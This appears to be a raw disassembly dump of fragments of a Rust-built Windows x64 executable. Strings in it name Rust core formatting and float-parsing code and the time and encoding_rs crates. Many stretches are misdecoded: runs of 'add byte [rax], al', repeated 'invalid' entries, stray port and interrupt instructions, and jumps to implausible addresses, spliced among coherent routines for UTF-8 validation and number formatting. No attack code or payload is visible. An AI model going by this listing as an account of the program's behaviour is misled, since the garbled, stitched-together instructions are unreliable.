mov dh, 0xc1
mov r12d, 2
cmovne r12d, eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0xe9
fld qword [0x17b4b3039]
jl 0x14003305f
push rax
jne 0x14003304f
lea r13, [rsp + 0x50]
add byte [rax], al
add byte [rax], al
adc cl, ch
cmpsd dword [rsi], dword [rdi]
add eax, 0x3b480000
add byte [rax], al
invalid
invalid
jl 0x140033095
add byte [rax], al
cmp rdi, qword [rsp + 0x50]
push rax
jne 0x140033085
lea r13, [rsp + 0x50]
add byte [rax], al
add byte [rax], al
add ch, cl
jno 0x1400330a6
add byte [rax], al
cmp cl, 3
movzx eax, cl
mov dh, 0xc1
mov r12d, 2
add byte [rax], al
cmp cl, 3
movzx eax, cl
add byte [rax], al
add byte [rax], al
mov dh, 0xc1
loopne 0x1400331be
jmp 0x1434a6da6
and al, 0x50
mov ecx, edi
and al, 0x58
or byte [rax], cl
invalid
and al, 0x58
mov ecx, edi
mov ecx, edi
jmp 0x1434940d4
and al, 0x58
push rax
and al, 0x50
jmp 0x14348fb1a
add byte [rax], al
loopne 0x1400333ae
cmp edi, dword [rsp + 0x50]
push rax
mov dh, 0xc1
add byte [rdi + rcx + 0x45], al
loopne 0x1400333f4
cmp edi, dword [rsp + 0x50]
and al, 0x50
sbb ebp, ecx
add al, byte cs:[rax]
add byte [rax - 0x49f0fc07], al
stc
add ecx, dword [rdi]
mov dh, 0xc1
mov r12d, 2
add al, byte [rax]
add byte [rax], al
cmovne r12d, eax
invalid
stc
add ecx, dword [rdi]
mov dh, 0xc1
mov r12d, 2
add al, byte [rax]
add byte [rax], al
cmp edi, dword [rsp + 0x50]
and al, 0x50
or byte [rax], r9b
cmp edi, dword [rsp + 0x50]
and al, 0x50
and al, 0x50
jns 0x1400334c3
add eax, dword [rax]
mov ecx, ebp
add al, 8
add byte [rax], al
add byte [rax], al
or byte [rax], cl
invalid
push rax
mov rcx, r13
mov ecx, ebp
add dword [rax], eax
add byte [rax - 0x49f0fc07], al
rol dword [rcx - 0x44], 2
add byte [rax], al
add byte [rdi + rcx + 0x45], al
loopne 0x140033568
add byte [rax], al
cmp cl, 3
movzx eax, cl
loopne 0x140033568
cmp edi, dword [rsp + 0x50]
add byte [rax], al
add dh, al
or byte [rax], r9b
sbb al, 0xe9
mov edx, 0x48000000
cmp edi, dword [rsp + 0x50]
push rax
push rax
jne 0x14003356d
lea r13, [rsp + 0x50]
add byte [rcx - 0x75], cl
jge 0x14003357d
add byte [rax], al
add byte [rax], al
or byte [rax], al
add cl, ch
mov dword [rax], eax
add byte [rax], al
cmp cl, 3
add ecx, dword [rdi]
mov dh, 0xc1
add byte [rax], al
add al, 8
add byte [rax], al
add byte [rax], al
invalid
invalid
mov esi, edx
test al, 1
je 0x140034bbd
mov byte [rsp + 0xd2], 1
and al, 0xd2
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xd3], r14b
jmp 0x140033775
neg r9
cmp rax, 9
jne 0x140034519
invalid
add byte [rcx + rdi - 0x36], cl
cmp rdx, r9
jae 0x1400347ad
jmp 0x14003564c
or eax, dword [eax]
jmp 0x140033bf3
add dword [rdi], ecx
test byte [rbx + rdx], ah
add dh, al
test byte [rsp + rdx*8], ah
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xd5], r14b
add byte [rax], al
add cl, ch
sbb al, 0xff
invalid
invalid
lea edx, [rsp + 0x70]
mov qword [rdx], rax
lea rax, [0x140174da0]
mov qword [rdx + 8], rax
lea rax, [0x140174da0]
mov qword [rdx + 0x10], rax
mov ecx, 7
add byte [rax], al
add byte [rax - 0x77], cl
sub byte [rax - 0x77], cl
xor byte [rax - 0x73], cl
xor byte [rax - 0x73], cl
xor byte [rax - 0x73], cl
and al, 0x30
and al, 0x30
invalid
cmp esi, 0x12
lea eax, [rsp + 0x80]
add byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], al
fild word [rax]
xor byte [rcx + rcx*4 - 0xf], cl
mov ah, 0x24
xlatb
add byte [rax], al
add byte [rbp + rcx*4 + 0x74], cl
and al, 0x70
adc cl, byte [rdi]
test dword [rdx], ecx
adc dword [rax], eax
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x30]
test byte [rbx + 0x11], bl
add byte [rax], al
mov eax, 0x20
sub ah, byte [rbp + 0xb]
add byte [rsi + 3], bh
or eax, dword gs:[rax]
mov esi, 3
xor r14d, r14d
test al, 1
je 0x140034bc2
test dl, dl
je 0x140034bc2
mov byte [rsp + 0xe1], dl
jmp 0x140033775
mov edx, ebp
call fcn.1400ea7a1
mov r14d, edx
invalid
test eax, eax
je 0x1400355b8
test esi, esi
cmove r15d, esi
movsxd rax, r15d
imul rax, rax, 0x51eb851f
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x25
add eax, ecx
enter 0xffffffffffffc06b, 0x64
add dword [rax], eax
add byte [rax], al
invalid
xor esi, esi
test al, 1
je 0x140034bc2
test dl, dl
je 0x140034bc2
mov byte [rsp + 0xe0], dl
jmp 0x140033775
invalid
invalid
test byte [rcx + 0x10], al
add byte [rax], al
invalid
add dword [rax + rcx*4 - 0x4c], eax
and al, 0xd1
add byte [rax], al
add byte [rax], al
invalid
in al, 0xfb
invalid
add byte [rax], al
adc al, 0
jrcxz 0x140033bb4
add byte [rax], al
lea rax, str.JanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecember
add byte [rax - 0x73], cl
add eax, 0x1413c4
lea rdx, [rsp + 0x70]
and al, 0x70
mov qword [rdx], rax
lea rax, [0x140175040]
add eax, 0x141475
add dword [rdi], ecx
push rdi
ror byte [rax - 0x73], 0x84
and al, 0x80
add byte [rax], 0
add byte [rdi], cl
adc dword [rax], eax
add byte [rdx + rdx*8 + 0xfb7840f], al
fiadd word [rax]
add byte [rax], al
add byte [rax], al
test al, 1
je 0x140034bc2
test dl, dl
je 0x140034bc2
add byte [rax], al
mov byte [rsp + 0xde], dl
lea r14, [rsp + 0x70]
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x74], cl
and al, 0x70
invalid
lea rdx, [rsp + 0x30]
adc byte [rcx + 7], bh
lea ecx, [rsp + 0x30]
xor edx, edx
call fcn.1400e9fdb
mov dword [rdx + 0xb], esp
add byte [rcx - 0x77], al
invalid
mov dword [rdx + 0xb], esp
add byte [rcx - 0x77], al
invalid
test al, 1
je 0x140034ba8
mov byte [rsp + 0xd4], 1
adc cl, byte [rdi]
test dword [rsi + 0x4800000d], esi
add byte [rax], al
lea rcx, [rsp + 0x30]
add byte [rax], al
mov rcx, r14
mov edx, ebp
call fcn.1400ea57b
mov edx, 2
sub rdx, rax
mov r8d, 3
sub r8, rax
mov rcx, r14
call fcn.1400e9d96
mov r14d, edx
test eax, eax
je 0x1400355b8
imul eax, r14d, 0x64
mov ecx, dword [rsp + 0xb8]
movsxd rdx, dword [rsp + 0xbc]
imul r8, rdx, 0x51eb851f
imul eax, edx, 0x51eb851f
lea ecx, [rsp + 0x30]
mov edx, ebp
jmp 0x1400340fb
or byte [rax - 0x7d], cl
call 0x1bf884d93
test dword [rdi + 9], edi
add byte [rax], al
xor eax, eax
jmp 0x140034904
lea rcx, [rsp + 0x30]
mov edx, ebp
jmp 0x140033fb6
or al, 0
or eax, dword [eax]
mov esi, dword [r14]
mov esi, dword [rsi]
mov esi, dword [rsi]
cmp esi, 0x12
jne 0x140034b47
lea r14, [rsp + 0x70]
lea rdx, [rsp + 0x30]
mov rcx, r14
mov r8d, 0x2d
call fcn.1400e9ecb
ja case.0x1400578e6.166
or eax, dword [rax]
invalid
add eax, 0x45000000
xor esi, esi
cmp esi, 0x12
add byte [rcx - 0x77], al
invalid
sahf
or al, byte [rax]
add byte [rax - 0x73], cl
and al, 0x30
mov byte [rsp + 0xd7], dh
add byte [rax], al
and al, 0x30
add byte [rax - 0x797bf0ff], ch
or al, byte [rax]
add byte [rdx + rdx*8 + 0xa7e840f], al
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rax + 0xe12494], cl
add byte [rax], al
lea r10, [rcx + rdx]
add rax, 0xfffffffffffffff8
mov r11, rcx
cmp r11, r10
je 0x14003478d
mov r8, rax
mov r14b, byte [r11]
movzx esi, r14b
test sil, sil
js 0x140034541
inc r11
jmp 0x1400345aa
mov eax, esi
and eax, 0x1f
movzx r15d, byte [r11 + 1]
and r15d, 0x3f
cmp sil, 0xdf
jbe 0x140034591
movzx ebp, byte [r11 + 2]
shl r15d, 6
and ebp, 0x3f
or ebp, r15d
cmp r14b, 0xf0
jb 0x14003459f
movzx esi, byte [r11 + 3]
and eax, 7
shl eax, 0x12
shl ebp, 6
and esi, 0x3f
or esi, ebp
or esi, eax
cmp esi, 0x110000
je 0x14003478d
add r11, 4
jmp 0x1400345aa
add r11, 2
shl eax, 6
or eax, r15d
mov esi, eax
jmp 0x1400345aa
add r11, 3
shl eax, 0xc
or ebp, eax
mov esi, ebp
add esi, 0xffffffc6
test r8, r8
je 0x1400345bf
lea rax, [r8 + 1]
cmp esi, 0xfffffff5
ja 0x140034524
cmp rdx, r9
jb 0x14003564c
test r8, r8
jne 0x14003564c
cmp esi, 0xfffffff6
jae 0x140034796
jmp 0x14003564c
cmp rdx, r9
jb 0x14003564c
cmp rdx, r9
jbe 0x1400347a7
cmp byte [rcx + r9], 0xbf
jg 0x1400347ad
jmp 0x140035884
jne 0x140035884
sub rdx, r9
lea rax, [rcx + r9]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdx
mov rdx, r9
call fcn.140042f80
mov r14, rax
shr r14, 0x20
test al, 1
jne 0x14003564c
mov dword [rsp + 0xc0], 1
mov dword [rsp + 0xc4], r14d
jmp 0x140033775
in eax, dx
adc byte [rsi + 6], bh
cmp cl, 2
add byte [rax], al
add byte [rax + 0x66742444], cl
mov dword [rsp + 0x75], 0x30eb0000
mov r12d, r14d
shr r12d, 8
mov r13d, r14d
shr r13d, 0x10
xor esi, esi
jmp 0x140034bc2
lea rax, [0x140175218]
jmp 0x140035894
mov qword [rsp + 0x20], rax
xor r8d, r8d
call fcn.140104d80
lea rax, [0x1401751e8]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, r15
mov r8, r13
jmp 0x1400356fb
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rbx + r14], al
test r9, r9
je 0x140037be2
mov r14, r9
dec r9
cmp r14, 0x301
jae 0x140037c81
movzx r11d, byte [r8 + r14 + 7]
mov ecx, r10d
shl r11, cl
add r11, rdx
mov rax, r11
mul rdi
lea rcx, [r14 + rsi]
dec rcx
dec ecx
dec ecx
shr rdx, 3
lea rax, [rdx + rdx]
lea r15, [rax + rax*4]
mov rax, r11
sub rax, r15
cmp rcx, 0x300
jb 0x140037b80
test rax, rax
je 0x140037b84
mov byte [r8 + 0x30c], 1
jmp 0x140037b84
cmp r11, 0xa
jae 0x140037c30
add eax, dword [rax]
add byte [rax + 0x300], bh
lea r9, [rsi - 1]
jmp 0x140037c4e
stc
add byte [rbx], al
add byte [rax], al
sal byte [rsi + rcx*8 + 0x41], 0xc6
or byte [rbx + rax], 0
add byte [rcx], al
lea r8, str.librarycore_src_numdec2fltdecimal.rs
mov edx, 0x300
mov rcx, r9
call fcn.140104820
lea r8, str.librarycore_src_numdec2fltdecimal.rs
mov ecx, 0x300
mov edx, 0x300
call fcn.140104820
jne 0x140037c74
or al, 0
jne 0x140037c74
or al, 0
lea r8, str.librarycore_src_numdec2fltdecimal.rs
mov edx, 0x51c
sbb al, 5
add byte [rax], al
sbb al, 5
add byte [rax], al
call fcn.140104810
add byte [rax], al
jb 0x140037d90
mov r11d, 0x27
add byte [rax], al
movabs r10, 0x346dc5d63886594b
nop dword [rax + rax]
mov rdx, rcx
cmp rdx, 0x63
ja 0x140037d54
jmp 0x140037d7e
cmp r10, 0x300
jae 0x140038707
mov rbx, r8
mov ecx, edx
shr rbx, cl
and r8, rsi
lea rcx, [r8 + r8*4]
movzx r8d, byte [rax + r10 + 8]
inc r10
lea r8, [r8 + rcx*2]
mov byte [rax + rdi], bl
inc rdi
cmp r11, r10
sal dword [rbp - 0x30], cl
sal dword [rbp - 0x30], cl
test r8, r8
jne 0x140038761
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
jmp 0x14003871b
test eax, eax
je 0x1400386e8
xor r9d, r9d
jmp 0x140038761
mov qword [rax], 0
jmp 0x140038741
lea r8, str.librarycore_src_numdec2fltdecimal.rs
add eax, 0xdefe2
mov edx, 0x300
add byte [rax], al
mov rcx, r10
call fcn.140104820
invalid
or al, 0
ror dword [rax + rax], 0x4c
mov dword [rax], ecx
push rbp
sub rsp, 0x60
lea rbp, [rsp + 0x60]
movzx eax, byte [rcx]
cmp rax, 0x64
jb 0x14003dea4
movzx ecx, al
lea r8d, [rcx + rcx*4]
lea r8d, [rcx + r8*8]
shr r8d, 0xc
imul ecx, r8d, 0x64
sub al, cl
movzx eax, al
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [rbp - 2], ax
mov ecx, 0x24
mov eax, r8d
jmp 0x14003dead
mov ecx, 0x26
cmp al, 0xa
jae 0x14003deb5
or al, 0x30
mov byte [rbp + rcx - 0x27], al
jmp 0x14003dec9
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [rbp - 2], ax
mov ecx, 0x25
lea rax, [rcx + rbp]
add rax, 0xffffffffffffffd9
mov r8d, 0x27
sub r8, rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
lea r8, [0x14019e2d0]
mov rcx, rdx
mov dl, 1
xor r9d, r9d
call fcn.140037de0
nop
add rsp, 0x60
pop rbp
ret
add byte [rax], al
jmp 0x14003f868
mov rcx, rax
pop rbp
jmp fcn.140038810
invalid
dec esp
int3
and al, 0x70
add byte [rax - 0x77], cl
loopne 0x14003f8b1
rol byte [rax + rax*8 + 0x1b01374], 1
add al, byte [rax]
add byte [rcx + rcx*4 + 0x75], cl
call 0x173088623
dec dword [rax - 0x77]
jne 0x14003f8b5
sub eax, dword [rbx - 0x1f3ef820]
adc al, cl
loope 0x14003f96e
int 0x41
or ebp, eax
fadd dword [rcx]
add byte [rax], al
int 0xf
invalid
test byte [rdi + rdi*8 - 1], al
dec dword [rdi]
mov dh, 0x45
fild qword [rdx]
fidivr word [r9 + rax]
add byte [rbp - 0x7b], cl
in al, 0x74
sbb ecx, dword [rcx + 0x39]
hlt
adc byte [rax - 0x75], cl
invalid
rol byte [rcx], 0
add byte [rbp - 0x7b], cl
push qword [rbx + rbx + 0x49]
invalid
invalid
cmp edi, esi
cmp al, 0x38
mov edi, 0xa6e90b7f
add dword [rax], eax
add byte [rdi], cl
test dword [rax + 0x4c000001], esp
add dword [rax], eax
add byte [rbx + rax + 0x65], cl
invalid
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov eax, ecx
mov r9d, 0x81
mov r8d, ecx
nop dword [rax + rax]
mov rcx, r9
mov r9d, eax
and r9b, 0xf
shr r8b, 4
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp al, 0x10
mov eax, r8d
jae 0x140041210
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x14004128d
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14019d728]
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.140037de0
nop
add rsp, 0xb0
pop rbp
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
call fcn.140104810
int3
add al, 0x30
mov byte [rbp + 0x19], al
test edx, edx
je 0x140041693
imul r12, r15, 0x51eb851f
shr r12, 0x25
in al, dx
and eax, 0x2fb8349
in al, dx
and eax, 0x2fb8349
je 0x140041601
add qword [r8], rax
add byte [rcx - 0x7d], al
stc
jb 0x140041959
cmp r9d, 0x64
jb 0x140041959
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1a], al
test edx, edx
je 0x14004169b
invalid
add dword [rax], eax
invalid
invalid
imul r12, r15, 0x10624dd3
shr r12, 0x26
cmp r11, 3
je 0x140041601
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x7f], al
stc
call 0x14f0414f6
add byte [rax], al
invalid
invalid
cmp r9d, 0x3e8
add byte [rax], al
jb 0x140041959
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1b], al
test edx, edx
je 0x1400416a3
mov r12d, 0xd1b71759
imul r12, r15
mov r11d, 2
jmp 0x1400416eb
mov r11d, 3
jmp 0x1400416eb
mov r11d, 4
jmp 0x1400416eb
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
movzx eax, byte [rcx]
mov r9d, 0x81
mov r8d, eax
nop dword [rax]
mov rcx, r9
mov r9d, eax
and r9b, 0xf
shr r8b, 4
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp al, 0x10
mov eax, r8d
jae 0x140041c70
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x140041ced
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14019d728]
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.140037de0
nop
add rsp, 0xb0
pop rbp
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
call fcn.140104810
int3
mov eax, 1
or rax, r8
pop rbp
ret
add byte [rax], al
jmp 0x14004304f
push rsi
mov rbp, rsp
mov r9, rdx
cmp r8, 1
je 0x140043099
test r8, r8
jne 0x1400430b8
mov byte [rcx + 1], 0
jmp case.0x14002b0f3.251
movzx eax, byte [r9]
cmp eax, 0x2b
je 0x1400430ad
mov r8d, 1
cmp eax, 0x2d
jne 0x140043109
cmp byte [r9], 0x2b
jne 0x140043103
invalid
inc r9
inc r9
lea rax, [r8 - 1]
cmp r8, 0x12
mov r8, rax
jb 0x140043109
xor r10d, r10d
mov r11d, 0xa
cmp r8, 0x11
jae 0x1400430ce
xor edx, edx
xor eax, eax
nop dword [rax]
movzx r10d, byte [r9 + rdx]
add r10d, 0xffffffd0
cmp r10d, 0xa
jae 0x1400430ad
lea rax, [rax + rax*4]
mov r10d, r10d
lea rax, [r10 + rax*2]
inc rdx
cmp r8, rdx
jne 0x140043110
in al, dx
sub byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
mov r8, qword [r8 + 8]
test r8, r8
test eax, eax
test eax, eax
je 0x14004357c
mov rdx, qword [rbx]
mov rcx, rdi
call qword [rsi + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14004379b
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x140043799
mov r12, qword [rbx + 0x10]
mov esp, dword [rbx + 0x10]
lea rax, [rax + rax*2]
lea r13, [r12 + rax*8]
lea rbx, str.0000000000000000000000000000000000000000000000000000000000000000
mov r14, rbp
jmp case.0x1400578e6.236
add byte [rax - 0x77], cl
stc
add byte [r8], r8b
add byte [rax], al
add byte [rdi], cl
mov bh, 0xc1
add byte [rax], al
add byte [rax - 0x77], cl
stc
xor al, 0xff
invalid
sub edi, dword [rbp + 0x63490015]
add al, 0x82
test eax, edx
add eax, dword [rax]
add byte [rax], al
add al, byte [rax]
lea rax, [0x140118b36]
or eax, 0x85894800
fadd dword [rbx]
add byte [rax], al
and al, 0x80
add byte [rax], al
add byte [rsi + 0x48], ah
movd ebx, mm1
invalid
invalid
add byte [rax], dl
add byte [rsi - 0x73], cl
adc al, 0x1e
mov esi, 0
add byte [rax], al
add byte [rax], al
invalid
dec dword [rbp + 0x39]
fiadd dword [rax + 0xf]
xchg esp, eax
invalid
lea esi, [rbx + 1]
movzx r10d, r10w
sub r10d, ebx
add r10d, 0xfffffbcc
xor dl, 1
jmp 0x140043f69
invalid
add dh, byte [rdx + 0x5d894c04]
invalid
mov qword [rbp + 0x60], r11
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x70], rsi
mov word [rbp + 0x78], r10w
mov byte [rbp + 0x7a], dl
cmp dl, 2
jne case.default.0x140043fb0
lea rbx, [0x14019e2d0]
xor edi, edi
add dl, 0xfe
movzx eax, dl
cmp al, 3
mov edx, 3
add byte [rax], al
add byte [rax], al
cmovb edx, eax
movzx eax, dl
lea rdx, [0x14019f6c0]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
test r8b, r8b
je 0x140043ff4
test rax, rax
lea rax, str._C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_time_0.2.27_srcduration.rsoverflow_when_adding_durations
lea rbx, [0x140175040]
cmovs rbx, rax
mov edi, 1
ret 0x33c
mov rdi, rax
push rbx
je 0x14004407b
invalid
xor r9d, r9d
lea rdx, [0x14011cca0]
mov r10d, 0x16
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x2f], cl
call 0x186cc4f24
mov ebx, dword [rdx + rax*4]
sbb al, 0x82
shr r8, 1
add r8, r9
mov r11d, dword [rdx + r8*4]
sbb al, 0x82
sbb al, 0x82
shl r11d, 0xb
cmp r11d, eax
ret
je 0x140044dfc
ret
lea rsi, [r8 + 1]
lea esi, [rax + 1]
cmp r11d, eax
cmova r10, r8
ror byte [r15 + r9 + 0x42], 1
invalid
ror byte [r15 + r9 + 0x42], 1
invalid
mov r8, r10
sub r8, r9
ja 0x140044dd0
ror byte [rbp + 0x29], 1
enter 0xffffffffffffd677, 0xffffffffffffffeb
invalid
jmp 0x140044e02
inc r8
mov r9, r8
cmp r9, 0x15
ja 0x140044ebe
invalid
mov dl, 0
add byte [rax], al
xchg dword [rdx + 0x42000000], esi
mov eax, dword [rdx + rcx*4]
mov eax, dword [rdx + r9*4]
shr eax, 0x15
mov r8d, 0x13b
mov eax, 0x13b
mov eax, 0x13b
cmp r9, 0x15
je 0x140044e33
adc eax, 0x8d4e1474
adc al, 0x8a
lea r10, [rdx + r9*4]
lea edx, [rdx + rcx*4]
add r10, 4
test r10, r10
test edx, edx
test edx, edx
je 0x140044e33
invalid
mov r8d, dword [r10]
shr r8d, 0x15
shr eax, 0x15
shr eax, 0x15
test r9, r9
invalid
and edx, dword [rdx + rcx*4 - 4]
ret 0x4274
nop dword cs:[rax + rax]
mov dh, 0x1c
adc dword [rcx + rax - 0x26], eax
add eax, 0x334897a1
loop 0x140044f57
sar byte [rax + rsi*8], 1
and al, 0x2c
out 0x12, al
invalid
add cl, al
invalid
ret 0xc148
mov r12d, 0
mov esi, 0
add byte [rax], al
add byte [rax], al
mov rbx, rdx
sub rbx, r9
lea rax, [rcx + r9]
mov esi, eax
neg esi
and esi, 7
lea rdi, [rsi + 0x10]
cmp rdi, rbx
jbe 0x1400455a9
xor esi, esi
jmp 0x1400455ee
test rsi, rsi
je 0x1400455c6
xor r14d, r14d
mov dil, byte [rax + r14]
test dil, dil
js 0x14004563f
inc r14
cmp rsi, r14
jne 0x1400455b1
lea rdi, [rbx - 0x10]
lea r14, [r10 + r9]
mov r15, qword [r14 + rsi - 8]
and r15, r11
mov r12, qword [r14 + rsi]
and r12, r11
mov r13, r12
or r13, r15
jne 0x140045610
add rsi, 0x10
cmp rsi, rdi
jbe 0x1400455ce
mov r14, rsi
cmp rsi, rbx
jae 0x140045766
mov dil, byte [rax + r14]
test dil, dil
js 0x14004563f
inc r14
cmp r14, rbx
jb 0x1400455fa
jmp 0x140045766
test r15, r15
je 0x14004561f
bsf r14, r15
shr r14d, 3
jmp 0x140045638
test r12, r12
je 0x14004562a
bsf r14, r12
jmp 0x140045630
mov r14d, 0x40
shr r14d, 3
add r14d, 8
add r14, rsi
mov dil, byte [rax + r14]
lea rax, [r14 + r9]
add r9, r14
add r9, 4
cmp r9, rdx
ja 0x14004576f
mov r9, rax
lea eax, [rdi + 0x3e]
cmp al, 0x1e
jae 0x140045688
cmp byte [r9 + rcx + 1], 0xc0
jge 0x1400457b3
lea rax, [r9 + 2]
lea rsi, [r9 + 6]
cmp rsi, rdx
ja 0x14004576f
mov dil, byte [rcx + rax]
test dil, dil
js 0x140045653
jmp 0x140045747
cmp dil, 0xef
ja 0x1400456eb
mov rax, r9
movzx r9d, byte [rcx + rax + 1]
movzx esi, dil
mov bl, byte [rsi + r8 + 0x80]
and bl, byte [r9 + r8]
mov r9b, byte [rcx + rax + 2]
shr r9b, 6
or r9b, bl
cmp r9b, 2
jne 0x1400457b6
lea r9, [rax + 7]
cmp r9, rdx
ja 0x14004576b
mov dil, byte [rcx + rax + 3]
add rax, 3
mov r9d, edi
and r9b, 0xf0
cmp r9b, 0xe0
je 0x140045691
test dil, dil
js 0x140045653
jmp 0x140045759
movzx eax, byte [r9 + rcx + 1]
movzx esi, byte [r9 + rcx + 2]
movzx ebx, byte [r9 + rcx + 3]
movzx eax, byte [rax + r8]
movzx edi, dil
movzx edi, byte [rdi + r8 + 0x80]
and edi, eax
shr esi, 6
or esi, edi
and ebx, 0xffffffc0
lea eax, [rsi + rbx*4]
cmp eax, 0x202
jne 0x1400457b3
lea rax, [r9 + 4]
lea rsi, [r9 + 8]
cmp rsi, rdx
ja 0x14004576f
mov dil, byte [rcx + rax]
test dil, dil
js 0x140045653
add r9, 5
jmp 0x14004574b
add r9, 3
add ecx, 3
cmp r9, rdx
jbe 0x14004558b
jmp 0x14004582c
add rax, 0xfffffffffffffffd
add rax, 4
mov r9, rax
jmp 0x14004574b
mov rax, rdx
jmp 0x1400457b6
add rax, 3
cmp rax, rdx
jae 0x1400457b6
movzx r10d, byte [rcx + rax]
test r10b, r10b
js 0x140045786
inc rax
mov r10, rax
jmp 0x1400457a9
lea r9d, [r10 + 0x3e]
cmp r9b, 0x1e
jae 0x1400457c6
lea r10, [rax + 2]
cmp r10, rdx
ja 0x1400457b6
lea r9, [rax + 1]
cmp r9, rdx
jae 0x14004580b
cmp byte [rcx + r9], 0xc0
jge 0x1400457b6
mov rax, r10
cmp r10, rdx
jb 0x140045774
jmp 0x1400457b6
mov rax, r9
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp r10b, 0xf0
jae 0x1400457b6
lea r11, [rax + 3]
cmp r11, rdx
ja 0x1400457b6
lea r9, [rax + 1]
cmp r9, rdx
jae 0x14004581a
lea r9, [rax + 2]
cmp r9, rdx
jae 0x140045823
movzx edx, byte [rcx + rax + 1]
mov cl, byte [rcx + rax + 2]
mov r9b, byte [r10 + r8 + 0x80]
and r9b, byte [rdx + r8]
shr cl, 6
or cl, r9b
cmp cl, 2
cmove rax, r11
jmp 0x1400457b6
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcutf_8.rs
mov rcx, r9
call fcn.140104820
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcutf_8.rs
jmp 0x140045812
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcutf_8.rs
jmp 0x140045812
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srcutf_8.rs
mov rcx, r9
call fcn.140104810
int3
insb byte [rdi], dx
and al, 0x20
mov byte [rsp + 0x30], 0
lea rbx, [rsp + 0x48]
mov r9d, 2
mov rcx, rbx
mov rdx, rdi
call fcn.140045bf0
movzx eax, byte [rbx + 8]
mov rbx, qword [rbx + 0x10]
test eax, eax
je 0x140045ac4
cmp eax, 2
jne 0x140045b31
movzx ecx, word [rsp + 0x51]
mov al, 2
cmp qword [rsp + 0x48], 1
jl 0x140045a8e
add qword [rbp + 4], rsi
jl 0x140045a8e
add qword [rbp + 4], rsi
mov byte [rdi + 0x28], 8
xor edx, edx
jmp 0x140045b13
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rdi
mov r8, r15
mov r9, r14
call fcn.14004583c
jmp 0x140045b21
mov rax, r12
sub rax, rbx
jb 0x140045b49
add r13, rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
mov byte [rsp + 0x30], 1
lea r12, [rsp + 0x48]
mov rcx, r12
mov rdx, rdi
mov r8, r15
mov r9, r14
call fcn.140045bf0
mov al, byte [r12 + 8]
mov r8, qword [r12 + 0x10]
test al, al
jne 0x140045b06
mov byte [rdi + 0x28], 0xa
movzx ecx, word [rsp + 0x51]
mov rdx, qword [rsp + 0x48]
add rbx, r8
mov byte [rsi + 8], al
mov word [rsi + 9], cx
mov qword [rsi], rdx
mov qword [rsi + 0x10], rbx
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
lea rcx, str.Output_buffer_must_have_been_too_small.
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, 0x27
call fcn.1401048a0
